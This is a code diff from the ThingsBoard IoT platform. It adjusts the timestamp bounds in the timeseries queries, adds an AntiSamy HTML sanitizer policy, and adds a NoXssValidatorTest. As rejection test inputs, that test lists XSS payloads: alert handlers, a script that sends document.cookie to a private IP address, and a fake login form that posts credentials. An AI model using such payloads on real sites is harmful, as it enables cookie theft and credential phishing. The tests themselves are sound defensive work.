32 public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvCompositeKey> { 32 public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvCompositeKey> {
33 33
34 @Query("SELECT tskv FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " + 34 @Query("SELECT tskv FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " +
35 - "AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 35 + "AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
36 List<TsKvEntity> findAllWithLimit(@Param("entityId") UUID entityId, 36 List<TsKvEntity> findAllWithLimit(@Param("entityId") UUID entityId,
37 @Param("entityKey") int key, 37 @Param("entityKey") int key,
38 @Param("startTs") long startTs, 38 @Param("startTs") long startTs,
@@ -42,7 +42,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite @@ -42,7 +42,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
42 @Transactional 42 @Transactional
43 @Modifying 43 @Modifying
44 @Query("DELETE FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " + 44 @Query("DELETE FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " +
45 - "AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 45 + "AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
46 void delete(@Param("entityId") UUID entityId, 46 void delete(@Param("entityId") UUID entityId,
47 @Param("entityKey") int key, 47 @Param("entityKey") int key,
48 @Param("startTs") long startTs, 48 @Param("startTs") long startTs,
@@ -51,7 +51,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite @@ -51,7 +51,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
51 @Async 51 @Async
52 @Query("SELECT new TsKvEntity(MAX(tskv.strValue)) FROM TsKvEntity tskv " + 52 @Query("SELECT new TsKvEntity(MAX(tskv.strValue)) FROM TsKvEntity tskv " +
53 "WHERE tskv.strValue IS NOT NULL " + 53 "WHERE tskv.strValue IS NOT NULL " +
54 - "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 54 + "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
55 CompletableFuture<TsKvEntity> findStringMax(@Param("entityId") UUID entityId, 55 CompletableFuture<TsKvEntity> findStringMax(@Param("entityId") UUID entityId,
56 @Param("entityKey") int entityKey, 56 @Param("entityKey") int entityKey,
57 @Param("startTs") long startTs, 57 @Param("startTs") long startTs,
@@ -63,7 +63,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite @@ -63,7 +63,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
63 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + 63 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
64 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + 64 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
65 "'MAX') FROM TsKvEntity tskv " + 65 "'MAX') FROM TsKvEntity tskv " +
66 - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 66 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
67 CompletableFuture<TsKvEntity> findNumericMax(@Param("entityId") UUID entityId, 67 CompletableFuture<TsKvEntity> findNumericMax(@Param("entityId") UUID entityId,
68 @Param("entityKey") int entityKey, 68 @Param("entityKey") int entityKey,
69 @Param("startTs") long startTs, 69 @Param("startTs") long startTs,
@@ -73,7 +73,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite @@ -73,7 +73,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
73 @Async 73 @Async
74 @Query("SELECT new TsKvEntity(MIN(tskv.strValue)) FROM TsKvEntity tskv " + 74 @Query("SELECT new TsKvEntity(MIN(tskv.strValue)) FROM TsKvEntity tskv " +
75 "WHERE tskv.strValue IS NOT NULL " + 75 "WHERE tskv.strValue IS NOT NULL " +
76 - "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 76 + "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
77 CompletableFuture<TsKvEntity> findStringMin(@Param("entityId") UUID entityId, 77 CompletableFuture<TsKvEntity> findStringMin(@Param("entityId") UUID entityId,
78 @Param("entityKey") int entityKey, 78 @Param("entityKey") int entityKey,
79 @Param("startTs") long startTs, 79 @Param("startTs") long startTs,
@@ -85,7 +85,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite @@ -85,7 +85,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
85 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + 85 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
86 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + 86 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
87 "'MIN') FROM TsKvEntity tskv " + 87 "'MIN') FROM TsKvEntity tskv " +
88 - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 88 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
89 CompletableFuture<TsKvEntity> findNumericMin( 89 CompletableFuture<TsKvEntity> findNumericMin(
90 @Param("entityId") UUID entityId, 90 @Param("entityId") UUID entityId,
91 @Param("entityKey") int entityKey, 91 @Param("entityKey") int entityKey,
@@ -98,7 +98,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite @@ -98,7 +98,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
98 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + 98 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
99 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + 99 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
100 "SUM(CASE WHEN tskv.jsonValue IS NULL THEN 0 ELSE 1 END)) FROM TsKvEntity tskv " + 100 "SUM(CASE WHEN tskv.jsonValue IS NULL THEN 0 ELSE 1 END)) FROM TsKvEntity tskv " +
101 - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 101 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
102 CompletableFuture<TsKvEntity> findCount(@Param("entityId") UUID entityId, 102 CompletableFuture<TsKvEntity> findCount(@Param("entityId") UUID entityId,
103 @Param("entityKey") int entityKey, 103 @Param("entityKey") int entityKey,
104 @Param("startTs") long startTs, 104 @Param("startTs") long startTs,
@@ -110,7 +110,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite @@ -110,7 +110,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
110 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + 110 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
111 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + 111 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
112 "'AVG') FROM TsKvEntity tskv " + 112 "'AVG') FROM TsKvEntity tskv " +
113 - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 113 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
114 CompletableFuture<TsKvEntity> findAvg(@Param("entityId") UUID entityId, 114 CompletableFuture<TsKvEntity> findAvg(@Param("entityId") UUID entityId,
115 @Param("entityKey") int entityKey, 115 @Param("entityKey") int entityKey,
116 @Param("startTs") long startTs, 116 @Param("startTs") long startTs,
@@ -122,7 +122,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite @@ -122,7 +122,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
122 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + 122 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
123 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + 123 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
124 "'SUM') FROM TsKvEntity tskv " + 124 "'SUM') FROM TsKvEntity tskv " +
125 - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") 125 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
126 CompletableFuture<TsKvEntity> findSum(@Param("entityId") UUID entityId, 126 CompletableFuture<TsKvEntity> findSum(@Param("entityId") UUID entityId,
127 @Param("entityKey") int entityKey, 127 @Param("entityKey") int entityKey,
128 @Param("startTs") long startTs, 128 @Param("startTs") long startTs,
@@ -550,8 +550,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD @@ -550,8 +550,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD
550 + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM 550 + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM
551 + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM 551 + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM
552 + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM 552 + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM
553 - + "AND " + ModelConstants.TS_COLUMN + " > ? "  
554 - + "AND " + ModelConstants.TS_COLUMN + " <= ?"); 553 + + "AND " + ModelConstants.TS_COLUMN + " >= ? "
  554 + + "AND " + ModelConstants.TS_COLUMN + " < ?");
555 } 555 }
556 return deleteStmt; 556 return deleteStmt;
557 } 557 }
@@ -740,8 +740,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD @@ -740,8 +740,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD
740 + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM 740 + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM
741 + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM 741 + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM
742 + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM 742 + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM
743 - + "AND " + ModelConstants.TS_COLUMN + " > ? "  
744 - + "AND " + ModelConstants.TS_COLUMN + " <= ?" 743 + + "AND " + ModelConstants.TS_COLUMN + " >= ? "
  744 + + "AND " + ModelConstants.TS_COLUMN + " < ?"
745 + (type == Aggregation.NONE ? " ORDER BY " + ModelConstants.TS_COLUMN + " " + orderBy + " LIMIT ?" : "")); 745 + (type == Aggregation.NONE ? " ORDER BY " + ModelConstants.TS_COLUMN + " " + orderBy + " LIMIT ?" : ""));
746 } 746 }
747 } 747 }
@@ -91,8 +91,8 @@ $$ @@ -91,8 +91,8 @@ $$
91 DECLARE 91 DECLARE
92 tenant_cursor CURSOR FOR select tenant.id as tenant_id 92 tenant_cursor CURSOR FOR select tenant.id as tenant_id
93 from tenant; 93 from tenant;
94 - tenant_id_record varchar;  
95 - customer_id_record varchar; 94 + tenant_id_record uuid;
  95 + customer_id_record uuid;
96 tenant_ttl bigint; 96 tenant_ttl bigint;
97 customer_ttl bigint; 97 customer_ttl bigint;
98 deleted_for_entities bigint; 98 deleted_for_entities bigint;
  1 +<?xml version="1.0" encoding="UTF-8" ?>
  2 +<!--
  3 +
  4 + Copyright © 2016-2021 The Thingsboard Authors
  5 +
  6 + Licensed under the Apache License, Version 2.0 (the "License");
  7 + you may not use this file except in compliance with the License.
  8 + You may obtain a copy of the License at
  9 +
  10 + http://www.apache.org/licenses/LICENSE-2.0
  11 +
  12 + Unless required by applicable law or agreed to in writing, software
  13 + distributed under the License is distributed on an "AS IS" BASIS,
  14 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  15 + See the License for the specific language governing permissions and
  16 + limitations under the License.
  17 +
  18 +-->
  19 +<anti-samy-rules>
  20 +
  21 + <directives>
  22 + <directive name="omitXmlDeclaration" value="true"/>
  23 + <directive name="omitDoctypeDeclaration" value="false"/>
  24 + <directive name="maxInputSize" value="100000"/>
  25 + <directive name="embedStyleSheets" value="false"/>
  26 + <directive name="useXHTML" value="true"/>
  27 + <directive name="formatOutput" value="true"/>
  28 + </directives>
  29 +
  30 + <common-regexps>
  31 +
  32 + <!--
  33 + From W3C:
  34 + This attribute assigns a class name or set of class names to an
  35 + element. Any number of elements may be assigned the same class
  36 + name or names. Multiple class names must be separated by white
  37 + space characters.
  38 + -->
  39 + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
  40 +
  41 + <!-- force non-empty with a '+' at the end instead of '*'
  42 + -->
  43 + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
  44 +
  45 + <!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
  46 + -->
  47 +
  48 + <!-- ([\p{L}/ 0-9&amp;\#-.?=])*
  49 + -->
  50 + <regexp name="offsiteURL"
  51 + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
  52 + </common-regexps>
  53 +
  54 + <common-attributes>
  55 +
  56 + <attribute name="lang"
  57 + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
  58 +
  59 + <regexp-list>
  60 + <regexp value="[a-zA-Z]{2,20}"/>
  61 + </regexp-list>
  62 + </attribute>
  63 +
  64 + <attribute name="title"
  65 + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
  66 +
  67 + <regexp-list>
  68 + <regexp name="htmlTitle"/>
  69 + </regexp-list>
  70 + </attribute>
  71 +
  72 + <attribute name="href" onInvalid="filterTag">
  73 +
  74 + <regexp-list>
  75 + <regexp name="onsiteURL"/>
  76 + <regexp name="offsiteURL"/>
  77 + </regexp-list>
  78 + </attribute>
  79 +
  80 + <attribute name="align"
  81 + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
  82 +
  83 + <literal-list>
  84 + <literal value="center"/>
  85 + <literal value="left"/>
  86 + <literal value="right"/>
  87 + <literal value="justify"/>
  88 + <literal value="char"/>
  89 + </literal-list>
  90 + </attribute>
  91 + <attribute name="style"
  92 + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
  93 + </common-attributes>
  94 +
  95 + <global-tag-attributes>
  96 + <attribute name="title"/>
  97 + <attribute name="lang"/>
  98 + <attribute name="style"/>
  99 + </global-tag-attributes>
  100 +
  101 + <tags-to-encode>
  102 + <tag>g</tag>
  103 + <tag>grin</tag>
  104 + </tags-to-encode>
  105 +
  106 + <tag-rules>
  107 +
  108 + <tag name="script" action="remove"/>
  109 + <tag name="noscript" action="remove"/>
  110 + <tag name="iframe" action="remove"/>
  111 + <tag name="frameset" action="remove"/>
  112 + <tag name="frame" action="remove"/>
  113 + <tag name="noframes" action="remove"/>
  114 + <tag name="head" action="remove"/>
  115 + <tag name="title" action="remove"/>
  116 + <tag name="base" action="remove"/>
  117 + <tag name="style" action="remove"/>
  118 + <tag name="link" action="remove"/>
  119 + <tag name="input" action="remove"/>
  120 + <tag name="textarea" action="remove"/>
  121 +
  122 + <tag name="br" action="remove"/>
  123 +
  124 + <tag name="p" action="remove"/>
  125 + <tag name="div" action="remove"/>
  126 + <tag name="span" action="remove"/>
  127 + <tag name="i" action="remove"/>
  128 + <tag name="b" action="remove"/>
  129 + <tag name="strong" action="remove"/>
  130 + <tag name="s" action="remove"/>
  131 + <tag name="strike" action="remove"/>
  132 + <tag name="u" action="remove"/>
  133 + <tag name="em" action="remove"/>
  134 + <tag name="blockquote" action="remove"/>
  135 + <tag name="tt" action="remove"/>
  136 +
  137 + <tag name="a" action="remove"/>
  138 +
  139 + <tag name="ul" action="remove"/>
  140 + <tag name="ol" action="remove"/>
  141 + <tag name="li" action="remove"/>
  142 + <tag name="dl" action="remove"/>
  143 + <tag name="dt" action="remove"/>
  144 + <tag name="dd" action="remove"/>
  145 + </tag-rules>
  146 +
  147 + <css-rules>
  148 + <property name="text-decoration" default="none"
  149 + description="">
  150 +
  151 + <category-list>
  152 + <category value="visual"/>
  153 + </category-list>
  154 +
  155 + <literal-list>
  156 + <literal value="underline"/>
  157 + <literal value="overline"/>
  158 + <literal value="line-through"/>
  159 + </literal-list>
  160 + </property>
  161 + </css-rules>
  162 +</anti-samy-rules>
@@ -24,7 +24,10 @@ import java.util.Arrays; @@ -24,7 +24,10 @@ import java.util.Arrays;
24 24
25 @RunWith(ClasspathSuite.class) 25 @RunWith(ClasspathSuite.class)
26 @ClassnameFilters({ 26 @ClassnameFilters({
27 - "org.thingsboard.server.dao.service.sql.*SqlTest" 27 + "org.thingsboard.server.dao.service.sql.*SqlTest",
  28 + "org.thingsboard.server.dao.service.attributes.sql.*SqlTest",
  29 + "org.thingsboard.server.dao.service.event.sql.*SqlTest",
  30 + "org.thingsboard.server.dao.service.timeseries.sql.*SqlTest"
28 }) 31 })
29 public class SqlDaoServiceTestSuite { 32 public class SqlDaoServiceTestSuite {
30 33
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.dao.service;
  17 +
  18 +import org.junit.jupiter.api.BeforeAll;
  19 +import org.junit.jupiter.params.ParameterizedTest;
  20 +import org.junit.jupiter.params.provider.ValueSource;
  21 +
  22 +import javax.validation.ConstraintValidatorContext;
  23 +
  24 +import static org.junit.jupiter.api.Assertions.assertFalse;
  25 +import static org.mockito.Mockito.mock;
  26 +
  27 +public class NoXssValidatorTest {
  28 + private static NoXssValidator validator;
  29 +
  30 + @BeforeAll
  31 + public static void beforeAll() {
  32 + validator = new NoXssValidator();
  33 + validator.initialize(null);
  34 + }
  35 +
  36 + @ParameterizedTest
  37 + @ValueSource(strings = {
  38 + "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
  39 + "9090<body onload=alert('xsssss')>90909",
  40 + "qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
  41 + "bambam<script>alert(document.cookie)</script>",
  42 + "<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
  43 + "<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
  44 + " <img src= \"http://site.com/\" > ",
  45 + "123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
  46 + })
  47 + public void testIsNotValid(String stringWithXss) {
  48 + boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
  49 + assertFalse(isValid);
  50 + }
  51 +
  52 +}
@@ -143,52 +143,52 @@ public abstract class BaseTimeseriesServiceTest extends AbstractServiceTest { @@ -143,52 +143,52 @@ public abstract class BaseTimeseriesServiceTest extends AbstractServiceTest {
143 public void testFindByQueryAscOrder() throws Exception { 143 public void testFindByQueryAscOrder() throws Exception {
144 DeviceId deviceId = new DeviceId(Uuids.timeBased()); 144 DeviceId deviceId = new DeviceId(Uuids.timeBased());
145 145
  146 + saveEntries(deviceId, TS - 3);
146 saveEntries(deviceId, TS - 2); 147 saveEntries(deviceId, TS - 2);
147 saveEntries(deviceId, TS - 1); 148 saveEntries(deviceId, TS - 1);
148 - saveEntries(deviceId, TS);  
149 149
150 List<ReadTsKvQuery> queries = new ArrayList<>(); 150 List<ReadTsKvQuery> queries = new ArrayList<>();
151 queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "ASC")); 151 queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "ASC"));
152 152
153 List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get(); 153 List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get();
154 Assert.assertEquals(3, entries.size()); 154 Assert.assertEquals(3, entries.size());
155 - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0));  
156 - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));  
157 - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2)); 155 + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0));
  156 + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
  157 + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2));
158 158
159 EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY)); 159 EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY));
160 160
161 entries = tsService.findAll(tenantId, entityView.getId(), queries).get(); 161 entries = tsService.findAll(tenantId, entityView.getId(), queries).get();
162 Assert.assertEquals(3, entries.size()); 162 Assert.assertEquals(3, entries.size());
163 - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0));  
164 - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));  
165 - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2)); 163 + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0));
  164 + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
  165 + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2));
166 } 166 }
167 167
168 @Test 168 @Test
169 public void testFindByQueryDescOrder() throws Exception { 169 public void testFindByQueryDescOrder() throws Exception {
170 DeviceId deviceId = new DeviceId(Uuids.timeBased()); 170 DeviceId deviceId = new DeviceId(Uuids.timeBased());
171 171
  172 + saveEntries(deviceId, TS - 3);
172 saveEntries(deviceId, TS - 2); 173 saveEntries(deviceId, TS - 2);
173 saveEntries(deviceId, TS - 1); 174 saveEntries(deviceId, TS - 1);
174 - saveEntries(deviceId, TS);  
175 175
176 List<ReadTsKvQuery> queries = new ArrayList<>(); 176 List<ReadTsKvQuery> queries = new ArrayList<>();
177 queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "DESC")); 177 queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "DESC"));
178 178
179 List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get(); 179 List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get();
180 Assert.assertEquals(3, entries.size()); 180 Assert.assertEquals(3, entries.size());
181 - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0));  
182 - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));  
183 - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2)); 181 + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0));
  182 + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
  183 + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2));
184 184
185 EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY)); 185 EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY));
186 186
187 entries = tsService.findAll(tenantId, entityView.getId(), queries).get(); 187 entries = tsService.findAll(tenantId, entityView.getId(), queries).get();
188 Assert.assertEquals(3, entries.size()); 188 Assert.assertEquals(3, entries.size());
189 - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0));  
190 - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));  
191 - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2)); 189 + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0));
  190 + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
  191 + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2));
192 } 192 }
193 193
194 @Test 194 @Test
  1 +<?xml version="1.0" encoding="UTF-8" ?>
  2 +<!--
  3 +
  4 + Copyright © 2016-2021 The Thingsboard Authors
  5 +
  6 + Licensed under the Apache License, Version 2.0 (the "License");
  7 + you may not use this file except in compliance with the License.
  8 + You may obtain a copy of the License at
  9 +
  10 + http://www.apache.org/licenses/LICENSE-2.0
  11 +
  12 + Unless required by applicable law or agreed to in writing, software
  13 + distributed under the License is distributed on an "AS IS" BASIS,
  14 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  15 + See the License for the specific language governing permissions and
  16 + limitations under the License.
  17 +
  18 +-->
  19 +<anti-samy-rules>
  20 +
  21 + <directives>
  22 + <directive name="omitXmlDeclaration" value="true"/>
  23 + <directive name="omitDoctypeDeclaration" value="false"/>
  24 + <directive name="maxInputSize" value="100000"/>
  25 + <directive name="embedStyleSheets" value="false"/>
  26 + <directive name="useXHTML" value="true"/>
  27 + <directive name="formatOutput" value="true"/>
  28 + </directives>
  29 +
  30 + <common-regexps>
  31 +
  32 + <!--
  33 + From W3C:
  34 + This attribute assigns a class name or set of class names to an
  35 + element. Any number of elements may be assigned the same class
  36 + name or names. Multiple class names must be separated by white
  37 + space characters.
  38 + -->
  39 + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
  40 +
  41 + <!-- force non-empty with a '+' at the end instead of '*'
  42 + -->
  43 + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
  44 +
  45 + <!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
  46 + -->
  47 +
  48 + <!-- ([\p{L}/ 0-9&amp;\#-.?=])*
  49 + -->
  50 + <regexp name="offsiteURL"
  51 + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
  52 + </common-regexps>
  53 +
  54 + <common-attributes>
  55 +
  56 + <attribute name="lang"
  57 + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
  58 +
  59 + <regexp-list>
  60 + <regexp value="[a-zA-Z]{2,20}"/>
  61 + </regexp-list>
  62 + </attribute>
  63 +
  64 + <attribute name="title"
  65 + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
  66 +
  67 + <regexp-list>
  68 + <regexp name="htmlTitle"/>
  69 + </regexp-list>
  70 + </attribute>
  71 +
  72 + <attribute name="href" onInvalid="filterTag">
  73 +
  74 + <regexp-list>
  75 + <regexp name="onsiteURL"/>
  76 + <regexp name="offsiteURL"/>
  77 + </regexp-list>
  78 + </attribute>
  79 +
  80 + <attribute name="align"
  81 + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
  82 +
  83 + <literal-list>
  84 + <literal value="center"/>
  85 + <literal value="left"/>
  86 + <literal value="right"/>
  87 + <literal value="justify"/>
  88 + <literal value="char"/>
  89 + </literal-list>
  90 + </attribute>
  91 + <attribute name="style"
  92 + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
  93 + </common-attributes>
  94 +
  95 + <global-tag-attributes>
  96 + <attribute name="title"/>
  97 + <attribute name="lang"/>
  98 + <attribute name="style"/>
  99 + </global-tag-attributes>
  100 +
  101 + <tags-to-encode>
  102 + <tag>g</tag>
  103 + <tag>grin</tag>
  104 + </tags-to-encode>
  105 +
  106 + <tag-rules>
  107 +
  108 + <tag name="script" action="remove"/>
  109 + <tag name="noscript" action="remove"/>
  110 + <tag name="iframe" action="remove"/>
  111 + <tag name="frameset" action="remove"/>
  112 + <tag name="frame" action="remove"/>
  113 + <tag name="noframes" action="remove"/>
  114 + <tag name="head" action="remove"/>
  115 + <tag name="title" action="remove"/>
  116 + <tag name="base" action="remove"/>
  117 + <tag name="style" action="remove"/>
